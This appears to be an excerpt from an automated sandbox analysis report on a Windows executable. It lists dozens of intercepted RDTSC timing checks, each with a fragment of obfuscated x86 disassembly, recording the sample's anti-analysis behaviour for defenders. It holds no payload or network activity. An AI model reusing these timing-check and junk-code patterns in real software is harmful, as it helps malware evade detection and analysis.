Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE409B second address: DE40A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE40A1 second address: DE40AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FA34CB66816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE4151 second address: DE4155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE9EFB second address: DE9F41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA34CB6681Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jp 00007FA34CB6681Ch 0x00000011 jg 00007FA34CB66816h 0x00000017 jmp 00007FA34CB66829h 0x0000001c pushad 0x0000001d jmp 00007FA34CB6681Eh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE8C5F second address: DE8C63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE8C63 second address: DE8C7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FA34CB66818h 0x0000000c ja 00007FA34CB66822h 0x00000012 jo 00007FA34CB66816h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE91E6 second address: DE91FC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA34CE69A20h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE94B6 second address: DE94BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE94BF second address: DE94C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DE9D77 second address: DE9D92 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jng 00007FA34CB66816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d jc 00007FA34CB66831h 0x00000013 jc 00007FA34CB66827h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC2D44 second address: DC2D81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a ja 00007FA34CE69A20h 0x00000010 nop 0x00000011 sub dword ptr [ebp+122D29CCh], eax 0x00000017 lea eax, dword ptr [ebp+1248DAC6h] 0x0000001d mov edx, dword ptr [ebp+122D3B42h] 0x00000023 push eax 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 push ecx 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC2D81 second address: DC2D8B instructions: 0x00000000 rdtsc 0x00000002 jng 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC2D8B second address: DC2D91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC2D91 second address: D9EC2F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007FA34CB66818h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000014h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 push eax 0x00000026 sub edi, dword ptr [ebp+122D2ADFh] 0x0000002c pop edx 0x0000002d jmp 00007FA34CB66823h 0x00000032 call dword ptr [ebp+122D348Fh] 0x00000038 push eax 0x00000039 push edx 0x0000003a jp 00007FA34CB6681Eh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC320E second address: DC3224 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A22h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC3224 second address: DC3229 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC333E second address: DC334C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC341F second address: DC3475 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FA34CB66816h 0x00000009 jmp 00007FA34CB6681Ch 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 xor dword ptr [esp], 764A363Ah 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007FA34CB66818h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 00000015h 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 sub dword ptr [ebp+122D203Ch], ebx 0x00000038 push 2BAE0D86h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 jmp 00007FA34CB6681Bh 0x00000046 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC3475 second address: DC347F instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC347F second address: DC349C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FA34CB66828h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC375B second address: DC37B7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jns 00007FA34CE69A26h 0x0000000f jmp 00007FA34CE69A20h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 jmp 00007FA34CE69A20h 0x0000001d mov eax, dword ptr [eax] 0x0000001f jmp 00007FA34CE69A20h 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FA34CE69A21h 0x0000002f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC37B7 second address: DC37C1 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA34CB6681Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC3852 second address: DC3858 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC3858 second address: DC3871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA34CB66825h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC39B0 second address: DC39EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a call 00007FA34CE69A1Ah 0x0000000f mov ecx, 06A90BB4h 0x00000014 pop ecx 0x00000015 push 00000004h 0x00000017 xor edi, dword ptr [ebp+122D3BCCh] 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FA34CE69A1Fh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC3F28 second address: DC3F32 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC405F second address: DC4063 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC4063 second address: DC4069 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC4069 second address: DC406F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC4115 second address: DC418E instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FA34CB66816h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jnl 00007FA34CB6682Ch 0x00000012 nop 0x00000013 mov dword ptr [ebp+122D3178h], edi 0x00000019 lea eax, dword ptr [ebp+1248DB0Ah] 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 call 00007FA34CB66818h 0x00000027 pop ecx 0x00000028 mov dword ptr [esp+04h], ecx 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc ecx 0x00000035 push ecx 0x00000036 ret 0x00000037 pop ecx 0x00000038 ret 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c jl 00007FA34CB6682Ch 0x00000042 jmp 00007FA34CB66826h 0x00000047 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC418E second address: DC41A3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA34CE69A1Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC41A3 second address: DC41B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FA34CB6681Eh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DC41B8 second address: D9F83B instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA34CE69A16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c sub dword ptr [ebp+122D2926h], esi 0x00000012 lea eax, dword ptr [ebp+1248DAC6h] 0x00000018 mov edi, 324FB407h 0x0000001d push eax 0x0000001e jmp 00007FA34CE69A24h 0x00000023 mov dword ptr [esp], eax 0x00000026 or dword ptr [ebp+122D29D9h], ebx 0x0000002c call dword ptr [ebp+122D59B3h] 0x00000032 pushad 0x00000033 push ebx 0x00000034 push eax 0x00000035 pop eax 0x00000036 pop ebx 0x00000037 push eax 0x00000038 push edx 0x00000039 jnc 00007FA34CE69A16h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D9F83B second address: D9F83F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D9F83F second address: D9F84E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FA34CE69A16h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DED9D6 second address: DED9DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DED9DC second address: DED9E6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DED9E6 second address: DED9F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA34CB66816h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DEDD10 second address: DEDD16 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DEDD16 second address: DEDD1B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DEDF8E second address: DEDF92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DEE139 second address: DEE13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DEE13E second address: DEE148 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA34CE69A1Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF2FE6 second address: DF3001 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FA34CB66816h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FA34CB6681Fh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF32D5 second address: DF32DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF35EB second address: DF3611 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA34CB66826h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d jnc 00007FA34CB66816h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF3857 second address: DF385D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF385D second address: DF3861 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF39F4 second address: DF3A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push esi 0x00000007 jmp 00007FA34CE69A28h 0x0000000c jmp 00007FA34CE69A1Ch 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FA34CE69A29h 0x00000019 jmp 00007FA34CE69A1Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF3BD7 second address: DF3BDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF3D33 second address: DF3D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA34CE69A1Eh 0x0000000a push edx 0x0000000b pop edx 0x0000000c jnl 00007FA34CE69A16h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DF3D45 second address: DF3D4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFEC6F second address: DFEC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFEC73 second address: DFEC9E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66827h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jnc 00007FA34CB66816h 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 push eax 0x00000018 pop eax 0x00000019 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFEC9E second address: DFECBE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA34CE69A25h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFECBE second address: DFECE2 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA34CB66816h 0x00000008 jmp 00007FA34CB6681Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jne 00007FA34CB6681Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFDEC2 second address: DFDEE5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A22h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFE066 second address: DFE076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FA34CB66816h 0x0000000c popad 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFE076 second address: DFE086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FA34CE69A16h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFE4BF second address: DFE4C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFE4C9 second address: DFE4D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: DFE4D6 second address: DFE4DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E051B1 second address: E051C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007FA34CE69A18h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D73252 second address: D73256 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D73256 second address: D7326A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Ah 0x00000007 jg 00007FA34CE69A16h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D7326A second address: D73272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D73272 second address: D7327C instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA34CE69A16h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D7327C second address: D73298 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA34CB6681Ah 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007FA34CB66816h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D73298 second address: D732BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FA34CE69A29h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D732BD second address: D732C3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E04BBA second address: E04BF0 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA34CE69A1Ch 0x00000008 js 00007FA34CE69A16h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007FA34CE69A3Ah 0x00000016 jnc 00007FA34CE69A18h 0x0000001c jg 00007FA34CE69A2Ch 0x00000022 jmp 00007FA34CE69A20h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E04D41 second address: E04D5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CB66825h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E04D5C second address: E04D60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E0772D second address: E0776A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA34CB66829h 0x00000009 jmp 00007FA34CB66826h 0x0000000e jo 00007FA34CB66816h 0x00000014 popad 0x00000015 push ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E0776A second address: E07779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA34CE69A1Ah 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E07779 second address: E07798 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA34CB66822h 0x00000008 jns 00007FA34CB66816h 0x0000000e jc 00007FA34CB66816h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ebx 0x00000017 je 00007FA34CB6681Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E072B8 second address: E072CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FA34CE69A16h 0x0000000a jmp 00007FA34CE69A1Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E07473 second address: E07477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D74C7A second address: D74C82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D74C82 second address: D74C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D74C8D second address: D74CAE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA34CE69A1Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push edi 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA34CE69A1Eh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: D74CAE second address: D74CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\eYAXkcBRfQ.exe	RDTSC instruction interceptor: First address: E0C68D second address: E0C691 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
